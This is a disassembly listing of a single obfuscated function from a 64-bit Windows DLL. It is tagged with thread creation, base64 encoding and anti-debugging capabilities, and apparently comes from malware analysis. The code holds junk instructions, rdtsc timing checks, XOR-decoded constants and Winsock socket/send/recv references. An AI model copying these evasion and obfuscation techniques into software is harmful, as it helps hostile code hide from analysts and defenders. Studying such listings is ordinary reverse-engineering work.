Function at 0x180018bb2
Capabilities:
Create thread
Encode data using base64
Execute anti-debugging instructions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
sbb r8b, 0x36
mov edi, ecx
push rbp
push r12
clc
push r13
dec r8d
or dh, 0x28
push r14
shld r12d, r8d, 9
bsf r8d, r14d
push r15
adc dil, 0x8f
movzx r8d, ax
lea rbp, [rsp - 0x130]
sar r14w, 7
add dx, ax
bts r8d, esi
sub rsp, 0x230
mov rax, qword [0x180015010]
xor rax, rsp
and r15b, dl
mov dl, r10b
mov qword [rbp + 0x120], rax
mov r12, r9
add r14, 0x7382ce9c
mov r14, rcx
btc r15d, 0x96
movsx rdi, r14w
sub r13d, r13d
mov qword [rcx + 0x40], r13
mov bh, 0x27
cwde
cbw
mov rax, qword [0x180016060]
mov qword [rcx], rax
setbe r8b
movzx di, spl
lea rcx, [0x180011639]
setne bh
movsx r8w, dil
mov edx, 0x820f5b3f
mov qword [r14 + 8], rcx
mov cl, 0xa8
cwd
mov rcx, qword [rax]
xchg r8d, edx
cmovp ax, dx
movabs rbx, 0xc525877dc23f1ef5
jmp 0x180018c87
mov qword [rbp + 0xd0], rbx
rdtsc
mov al, 0x3d
movzx r15w, dl
movabs r15, 0x1e96648c6395b9b6
setne dl
cwd
mov qword [rbp + 0xd8], r15
cbw
mov dil, 0x3f
movabs rdi, 0x4ac84ddb457894a7
mov qword [rbp + 0xe0], rdi
movabs rdx, 0xde8e1e3a21abbf58
not eax
mov qword [rbp + 0xe8], rdx
xchg r8d, eax
mov r8, 0xffffffffee3d560e
movabs rax, 0xab44eb52a3497f9f
mov r8b, 0xbb
movsx r8, r15w
jmp 0x180018cf5
mov qword [rsp + 0x30], rax
not ah
movabs rax, 0x73f310ff1ac696d1
movzx r8, bp
mov qword [rsp + 0x38], rax
movzx r8d, r14w
jmp 0x180018d18
mov qword [rsp + 0x40], rdi
movsx r8w, r9b
jmp 0x180018d2b
mov qword [rsp + 0x48], rdx
cwd
movzx r8w, r14b
movups xmm0, xmmword [rsp + 0x30]
jmp 0x180018d43
movups xmm1, xmmword [rsp + 0x40]
jmp 0x180018d54
xorps xmm0, xmmword [rbp + 0xd0]
lahf
cbw
jmp 0x180018d63
movdqa xmmword [rsp + 0x60], xmm0
mov al, spl
xorps xmm1, xmmword [rbp + 0xe0]
cwde
cwd
movdqa xmmword [rsp + 0x70], xmm1
lahf
cqo
mov rax, qword [rcx]
not dl
mov edx, edx
seto r8b
mov r8, qword [rax + 0x30]
lea rdx, [rsp + 0x60]
jmp 0x180018d98
call r8
mov rsi, rax
rdtsc
mov rax, qword [r14]
movzx dx, r11b
mov ch, 0xb0
mov rcx, qword [rax]
movsx rax, r9w
cdq
mov qword [rbp + 0xd0], rbx
mov qword [rbp + 0xd8], r15
movzx r10d, r12w
cqo
setbe al
mov qword [rbp + 0xe0], rdi
cbw
movsxd r9, r13d
movabs rax, 0xde8e1e3a21abbf58
mov qword [rbp + 0xe8], rax
movsx eax, r15w
not r10w
movabs rax, 0x484fbce98ba9b549
bswap r8w
mov r9w, 0x5f20
cqo
mov qword [rbp + 0xf0], rax
movabs rdx, 0xc80535880d26297a
jmp 0x180018e1e
mov qword [rbp + 0xf8], rdx
movsx r8w, dil
movabs rax, 0xa90ae60ba35552dd
xchg r8d, r9d
mov qword [rsp + 0x30], rax
cmovns r10w, r13w
cdqe
mov r9b, reloc.WS2_32.dll_socket
movabs rax, 0x77e410df4cf2d7d7
bswap r8
mov qword [rsp + 0x38], rax
movabs rax, 0x3ca927976c43f3c9
cmovnp r10, r9
mov qword [rsp + 0x40], rax
cbw
cmovo rax, rbp
movabs rax, 0x8da1795440c79039
bswap r8w
cmovs r10w, ax
movsxd r10, r10d
mov qword [rsp + 0x48], rax
lahf
movzx r8w, bpl
cmovnp r8, r15
movabs rax, 0x484f878ee5c0c73d
mov r10w, 0xa1e
movzx r8d, r11w
movsxd r9, r11d
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
jmp 0x180018ebf
movups xmm1, xmmword [rsp + 0x30]
cwd
cwde
movups xmm2, xmmword [rsp + 0x40]
lahf
movzx r10w, r11b
movsx edx, dx
movups xmm3, xmmword [rsp + 0x50]
movsx r9w, r14b
mov r10, 0xffffffff9c195ea4
cwd
movdqa xmm0, xmmword [rbp + 0xd0]
mov ax, 0xf8a4
movzx r10w, r15b
xchg dl, r8b
xorps xmm0, xmm1
movdqa xmmword [rbp - 0x80], xmm0
xorps xmm2, xmmword [rbp + 0xe0]
cwde
movdqa xmmword [rbp - 0x70], xmm2
xorps xmm3, xmmword [rbp + 0xf0]
movdqa xmmword [rbp - 0x60], xmm3
not al
jmp 0x180018f28
mov qword [rbp + 0xd0], rbx
lahf
setge dl
mov qword [rbp + 0xd8], r15
movsx r10, r8w
movsx edx, di
cwd
movabs rax, 0xa055e80f924b7b92
movsx r9w, cl
not r8b
bswap r9w
mov qword [rbp + 0x100], rax
cbw
cwd
movabs rax, 0x1e96648c63eccdc4
movsxd rdx, r9d
mov qword [rbp + 0x108], rax
movzx dx, dh
movaps xmm0, xmmword [rbp + 0x100]
movsx r9w, bpl
mov dh, 0xb6
xorps xmm0, xmmword [rbp + 0xd0]
movsxd rax, r8d
cdqe
movsx r10, r15w
movdqa xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx]
mov r10, qword [rax + 0x388]
lea r9, [rbp - 0x80]
jmp 0x180018fb4
lea r8, [rsp + 0x30]
cqo
movsx rdx, si
movzx rdx, r10w
mov rdx, rsi
call r10
mov rbx, rax
cwde
movzx ecx, r14w
mov rax, qword [r14]
mov rdi, qword [rax]
rdtsc
movabs rax, 0xc525877dc23f1ef5
movsx rdx, bp
movsx r8w, r9b
cwd
mov qword [rbp + 0x100], rax
mov dl, bpl
mov qword [rbp + 0x108], r15
setno ah
xchg dl, ah
cqo
movabs rax, 0xb740f153a3497f9f
not dl
movsxd rcx, r10d
bswap rcx
mov qword [rbp + 0xd0], rax
cwd
lahf
movsx ecx, r10w
movabs rax, 0x1e96648c0dfad0c5
movsx r8, bx
movsxd rcx, r13d
mov qword [rbp + 0xd8], rax
cdqe
rdtsc
bswap r8
movaps xmm0, xmmword [rbp + 0xd0]
mov cl, sil
cmovge r8w, dx
rdtsc
xorps xmm0, xmmword [rbp + 0x100]
cbw
lahf
movdqa xmmword [rbp + 0xd0], xmm0
cwd
mov rax, qword [rdi]
movsxd rcx, ebp
cdq
mov r8, qword [rax + 0x538]
lea rdx, [rbp + 0xd0]
bswap cx
mov rcx, rdi
jmp 0x18001908a
call r8
mov r9, rax
movzx dx, bl
mov rdx, r11
movzx rcx, r9w
mov r8, rbx
cqo
mov rdx, rsi
mov rcx, rdi
jmp 0x1800190ab
call fcn.180001300
mov rdx, rax
bsf cx, r13w
rol al, 0xa6
mov rax, qword [r14]
movzx r9d, ax
mov rcx, qword [rax]
bsr r9w, bp
xor ax, 0xaca3
sar r9b, 0x31
mov rax, qword [rcx]
mov r9, qword [rax + 0x548]
jmp 0x1800190e4
sub r8d, r8d
jmp 0x1800190ec
call r9
xorps xmm0, xmm0
movzx r8w, sil
movups xmmword [rbp - 0x50], xmm0
jmp 0x180019103
mov qword [rbp - 0x40], r13
mov r8b, 0x2a
movsx r8d, si
mov qword [rbp - 0x38], r13
setbe r8b
mov r8, 0xffffffffffffffff
jmp 0x180019122
inc r8
cmp byte [rax + r8], r13b
jmp 0x18001912e
jne 0x180019122
mov rdx, rax
movzx ecx, sp
lea rcx, [rbp - 0x50]
jmp 0x180019143
call fcn.180002490
nop
add dil, sil
lea rcx, [rbp - 0x50]
setae r15b
sal r15b, cl
cmp qword [rbp - 0x38], 0x10
mov r15b, r15b
setae r15b
mov rdi, qword [rbp - 0x50]
jmp 0x18001916c
cmovae rcx, rdi
cmp byte [rcx], 0x31
jmp 0x180019178
jne 0x180019345
lea rax, [rbp - 0x50]
cmc
test r15b, bl
test r15b, r15b
jmp 0x18001918e
cmovne rax, rdi
jmp 0x18001919d
cmp byte [rax + 1], 0x2e
jmp 0x1800191a6
jne 0x180019345
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
not ax
movsx rax, bx
adc eax, 0xf68366aa
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
rol ah, cl
mov rax, qword [rbp - 0x40]
cmp rax, 2
jmp 0x1800191d9
jb 0x180019b63
add rax, 0xfffffffffffffffe
cqo
neg r8b
mov r8d, 3
rcr ch, cl
cmp rax, r8
cmovb r8, rax
ror ecx, 0x94
shr cx, cl
lea rdx, [rbp - 0x50]
movsxd rcx, edi
sal cx, cl
sbb cx, 0x5a93
test r15b, r15b
bswap ecx
movsx cx, r14b
xchg cx, cx
cmovne rdx, rdi
xor ecx, 0x50a7e695
movzx rcx, bp
add rdx, 2
bswap rcx
jmp 0x180019237
lea rcx, [rsp + 0x30]
jmp 0x180019241
call fcn.180002490
mov rdx, qword [rbp - 0x38]
clc
test bl, al
cmp r11b, 0x20
cmp rdx, 0x10
jmp 0x18001925a
jb 0x1800192bd
inc rdx
neg ax
btc ax, r9w
mov rcx, qword [rbp - 0x50]
shld ax, r11w, 0x14
mov rax, rcx
cmp sil, 0x19
test r13b, 0x3e
jmp 0x180019285
cmp rdx, 0x1000
jb 0x1800192b8
add rdx, 0x27
test bx, 0xf08e
mov rcx, qword [rcx - 8]
sub rax, rcx
stc
clc
add rax, 0xfffffffffffffff8
cmc
cmp rax, 0x1f
jmp 0x1800192b2
ja 0x1800194dc
call fcn.18000f46c
movups xmm1, xmmword [rsp + 0x40]
jmp 0x1800192c7
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x40], xmm1
jmp 0x1800192d5
movups xmmword [rbp - 0x50], xmm0
jmp 0x1800192de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rbx, qword [rbp - 0x50]
mov dword [rax], r13d
mov r8d, 0xa
lea rdx, [rbp + 0x100]
mov rcx, r8
movzx cx, r13b
not cx
mov rcx, rbx
jmp 0x180019318
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov ecx, eax
cmp rbx, qword [rbp + 0x100]
jne 0x1800194f0
lea rcx, str.invalid_stoi_argument
jmp 0x180019339
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
lea rbx, [rbp - 0x50]
sar sil, cl
test r15b, r15b
bswap si
not si
mov si, 0x7628
cmovne rbx, rdi
mov rsi, qword [rbp - 0x40]
clc
cmp rbx, r8
test rsi, rsi
jmp 0x18001936d
je 0x1800193f0
xor edx, edx
xchg r8w, cx
movsx r8w, r15b
mov r8d, 0x100
xchg ch, ch
not rcx
movzx cx, r15b
lea rcx, [rbp - 0x30]
jmp 0x180019397
call sub.VCRUNTIME140.dll_memset
mov byte [rbp - 2], 1
xchg cx, dx
lea rdx, [rbx + rsi]
sub cx, r8w
mov rcx, rbx
cmp rbx, rdx
jmp 0x1800193b6
jae 0x1800193f0
nop dword [rax]
not ah
nop word [rax + rax]
movzx eax, byte [rcx]
clc
cmp byte [rbp + rax - 0x30], 0
jmp 0x1800193d9
jne 0x1800194e8
inc rcx
cmp rcx, rdx
jmp 0x1800193ea
jb 0x1800193cb
mov rcx, 0xffffffffffffffff
cmp ecx, 0xffffffff
jmp 0x1800193ff
je 0x1800192de
xorps xmm0, xmm0
bsr rdx, rsi
or dh, 0x38
stc
movups xmmword [rsp + 0x30], xmm0
shld edx, r12d, 0x1c
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
sbb dx, 0x88a0
rcr dx, 0x9b
movsxd r8, ecx
cmp rsi, r8
movsxd rdx, ebx
cmovb r8, rsi
sar cx, 0xa4
lea rdx, [rbp - 0x50]
cmp bh, 0x2d
movzx cx, sil
test r15b, r15b
jmp 0x180019456
cmovne rdx, rdi
lea rcx, [rsp + 0x30]
jmp 0x180019464
call fcn.180002490
mov rdx, qword [rbp - 0x38]
clc
test r13w, 0xa402
stc
cmp rdx, 0x10
jmp 0x18001947e
jb 0x1800192bd
inc rdx
sar rcx, 0x2b
mov rcx, qword [rbp - 0x50]
bswap rax
mov rax, rcx
stc
jmp 0x18001949c
cmp rdx, 0x1000
jmp 0x1800194a8
jb 0x1800192b8
add rdx, 0x27
test r13, r13
mov rcx, qword [rcx - 8]
jmp 0x1800194be
sub rax, rcx
test bh, cl
add rax, 0xfffffffffffffff8
jmp 0x1800194cd
cmp rax, 0x1f
jmp 0x1800194d6
jbe 0x1800192b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rcx, rbx
jmp 0x1800193f7
cmp dword [rdi], 0x22
jmp 0x1800194f8
jne 0x18001951b
lea rcx, str.stoi_argument_out_of_range
jmp 0x18001950a
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
nop
jmp 0x180019516
jmp 0x180003056
sub ecx, 8
jmp 0x180019523
je 0x18001988c
sub ecx, 8
je 0x18001987d
sub ecx, 1
jmp 0x18001953a
je 0x18001986e
cmp ecx, 4
je 0x18001985f
movabs rdx, 0xc525877dc23f1ef5
movsx ax, bpl
mov qword [rbp + 0x100], rdx
bsr ecx, eax
shl r9b, 0x1e
mov ah, reloc.WS2_32.dll_socket
movabs rcx, 0x1e96648c6395b9b6
movzx eax, bx
mov qword [rbp + 0x108], rcx
movabs rax, 0xc525870fad4d6cb0
dec r8w
neg r8b
rcl r9w, cl
mov qword [rbp + 0xd0], rax
shrd eax, r14d, 0x30
clc
neg r8w
mov qword [rbp + 0xd8], rcx
shl ah, cl
movaps xmm0, xmmword [rbp + 0xd0]
movsx r9, sp
xadd r9b, r9b
xorps xmm0, xmmword [rbp + 0x100]
xor r9, 0x1b0fb180
movdqa xmmword [rsp + 0x30], xmm0
shr r8d, 4
cmovno r9d, edx
mov qword [rbp + 0x100], rdx
sar dh, cl
movsxd rax, eax
mov qword [rbp + 0x108], rcx
cqo
movabs rax, 0x4ac84ddb457894a7
or r8, 0x6939f4ae
cmc
btr r8, 0x81
mov qword [rbp + 0x110], rax
or r9b, 0x21
movabs rax, 0xde8e1e3a21abbf58
mov qword [rbp + 0x118], rax
sar r8b, 5
sal eax, 0x9b
movabs rax, 0xb74af70db74c70a0
bsf rdx, r8
mov qword [rbp + 0xd0], rax
sbb dx, 0x122d
shr dh, cl
movzx rax, sp
movabs rax, 0x7fe005c643f1dcc2
movzx rdx, dx
cmp rdi, 0xffffffffda9cd987
bts edx, r15d
mov qword [rbp + 0xd8], rax
movabs rax, 0x24a724a8371de287
shld r9, r13, 0xb5
sbb r9b, cl
mov qword [rbp + 0xe0], rax
movabs rax, 0xde8e1e3a21abbf79
bswap r8w
jmp 0x180019692
mov qword [rbp + 0xe8], rax
cmp al, 0xad
bsf dx, si
rcr r8b, cl
movups xmm0, xmmword [rbp + 0xd0]
sub edx, 0xe10d7099
clc
xor r9d, r13d
movups xmm1, xmmword [rbp + 0xe0]
movsx edx, si
xorps xmm0, xmmword [rbp + 0x100]
btc dx, bx
sets r9b
adc r9b, r12b
movdqa xmmword [rsp + 0x60], xmm0
bts r8w, r11w
sub r8b, 0x89
or r9w, 0x5681
xorps xmm1, xmmword [rbp + 0x110]
movdqa xmmword [rsp + 0x70], xmm1
sal r8b, 0x14
clc
rol r8b, cl
mov r9d, reloc.WS2_32.dll_recv
movzx dx, r13b
rcl r8d, cl
cmc
lea r8, [rsp + 0x30]
bsr edx, edi
lea rdx, [rsp + 0x60]
test sp, 0x830a
cmp r15b, 0x95
sub ecx, ecx
jmp 0x180019725
call qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [rsp + 0x28], r13
cmc
rol r8b, 0x2e
mov dword [rsp + 0x20], r13d
mov r8b, dil
sub r9d, r9d
shrd r8, rcx, 0x32
seta r8b
bsf r8d, edx
lea r8, [0x180002b30]
jmp 0x18001975d
sub edx, edx
test r13d, 0x3eb1bf21
cmc
jmp 0x18001976c
sub ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
btc edx, 0x82
mov rdx, qword [rbp - 0x38]
test dl, 0x9e
cmp rdx, 0x10
jmp 0x180019789
jb 0x1800197ef
inc rdx
add ch, 0x91
ror rcx, cl
mov rcx, qword [rbp - 0x50]
xor al, 0x90
movsxd rax, ebx
mov rax, rcx
cmp rdx, 0x1000
jmp 0x1800197b0
jb 0x1800197ea
add rdx, 0x27
clc
stc
test r15d, r9d
mov rcx, qword [rcx - 8]
jmp 0x1800197c8
sub rax, rcx
jmp 0x1800197d0
add rax, 0xfffffffffffffff8
cmp r11d, 0xe294794
cmp rax, 0x1f
jmp 0x1800197e4
ja 0x180019b57
call fcn.18000f46c
mov rax, r14
rcl ch, cl
cmc
mov rcx, qword [rbp + 0x120]
jmp 0x180019801
xor rcx, rsp
jmp 0x180019809
call fcn.18000f410
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movzx r12w, r13b
mov rdi, qword [r11 + 0x48]
cmovb r15, rsp
mov r12b, r8b
movsx r12w, r12b
mov rsp, r11
movzx ebp, cx
pop r15
not r14b
pop r14
not r12
pop r13
movsx rbp, r12w
setl bpl
movsx r12d, r14w
pop r12
jmp 0x180019858
pop rbp
jmp 0x18001985e
ret
mov edi, socket
jmp 0x180019869
jmp 0x180019894
mov edi, send
jmp 0x180019878
jmp 0x180019894
mov edi, reloc.WS2_32.dll_recv
jmp 0x180019887
jmp 0x180019894
mov edi, 0x353
movsx ecx, di
mov ecx, reloc.WS2_32.dll_recv
jmp 0x18001989e
call fcn.18000f430
mov rsi, rax
setge ch
movsxd rcx, r9d
mov rcx, r10
mov qword [rbp + 0x100], rax
mov ch, reloc.WS2_32.dll_ntohs
movsx ecx, si
mov cl, r11b
xorps xmm0, xmm0
mov cx, 0x558a
movzx rcx, di
movups xmmword [rax], xmm0
movsx rcx, bx
jmp 0x1800198d6
mov dword [rax + 8], edi
mov cl, spl
mov ecx, 0xb8
jmp 0x1800198e6
call fcn.18000f430
mov rbx, rax
adc cx, di
adc ch, 0x8d
shrd r8, r11, 0xa9
xor edx, edx
mov r8d, 0xb8
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
sub edi, 0x10
je 0x1800199f6
sub edi, 1
je 0x1800199ee
sub edi, 4
jmp 0x180019923
je 0x1800199b7
cmp edi, 0x33e
jmp 0x180019934
jne 0x180019ab3
mov qword [rbx + 0x48], reloc.WS2_32.dll_recv
jmp 0x180019947
mov qword [rbx + 0x28], 8
jmp 0x180019954
mov qword [rbx + 8], 0xd8
jmp 0x180019961
mov qword [rbx + 0x18], 0x50
jmp 0x18001996e
mov qword [rbx + 0x50], 0x1b0
jmp 0x18001997b
mov qword [rbx + 0x58], WSACleanup
jmp 0x180019988
mov qword [rbx + 0x60], 0x68
jmp 0x180019995
mov qword [rbx + 0x68], 0x106
jmp 0x1800199a2
mov qword [rbx + 0xb0], 0x48
jmp 0x1800199b2
jmp 0x180019a8e
mov qword [rbx + 0x20], 4
mov qword [rbx + 0x28], 6
jmp 0x1800199cc
mov qword [rbx + 0x48], 0x18
jmp 0x1800199d9
mov qword [rbx + 0xb0], reloc.WS2_32.dll_recv
jmp 0x1800199e9
jmp 0x180019ab3
mov qword [rbx], reloc.WS2_32.dll_recv
stc
mov qword [rbx + 0xb0], reloc.WS2_32.dll_recv
mov dl, r14b
mov qword [rbx + 0x50], 0x1c0
shl rdx, cl
bts dx, bx
mov rdx, r11
mov qword [rbx + 0x28], 6
add dx, si
cqo
bt dx, 0xa2
mov qword [rbx + 0x20], 4
mov qword [rbx + 0x58], 0x78
stc
xadd ah, ah
cwde
mov qword [rbx + 0x60], WSACleanup
mov qword [rbx + 0x18], 0x48
mov qword [rbx + 8], 0xe0
shr dx, 0xa7
bts ax, r10w
cqo
mov qword [rbx + 0x48], 0x18
mov ah, 0xab
mov qword [rbx + 0x40], 0x90
btr dx, 0x82
mov qword [rbx + 0x38], 0x38
mov qword [rbx + 0x30], WSACleanup
rcl ah, cl
movzx rax, r12w
mov qword [rbx + 0x10], 8
sar dx, 7
mov qword [rbx + 0x70], recv
btr edx, edx
clc
mov qword [rbx + 0x78], reloc.WS2_32.dll_recv
test edx, r15d
shl al, cl
mov qword [rsi], rbx
rdtsc
mov qword [r14 + 0x10], rsi
mov al, 0xbc
lea rax, [0x180008d30]
movsxd rdx, r12d
neg edx
add dl, r12b
mov qword [r14 + 0x30], rax
sub dx, 0xe02f
mov qword [r14 + 0x20], r12
sar dl, cl
xchg dx, dx
mov qword [0x180016058], r14
mov edx, 0x87bbb12e
xadd dx, dx
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jmp 0x180019afc
jb 0x1800197ef
inc rdx
mov ecx, r15d
not ah
mov rcx, qword [rbp - 0x50]
bt eax, 0x30
mov ax, 0xc988
not ax
mov rax, rcx
cmc
cmp r11b, 0x91
clc
cmp rdx, 0x1000
jb 0x1800197ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
cmp dx, 0x5615
add rax, 0xfffffffffffffff8
stc
cmc
test ch, 0xae
cmp rax, 0x1f
jmp 0x180019b51
jbe 0x1800197ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
jmp 0x180019b63
call fcn.1800021b0
nop
jmp 0x180019b6e
jmp 0x1800033e2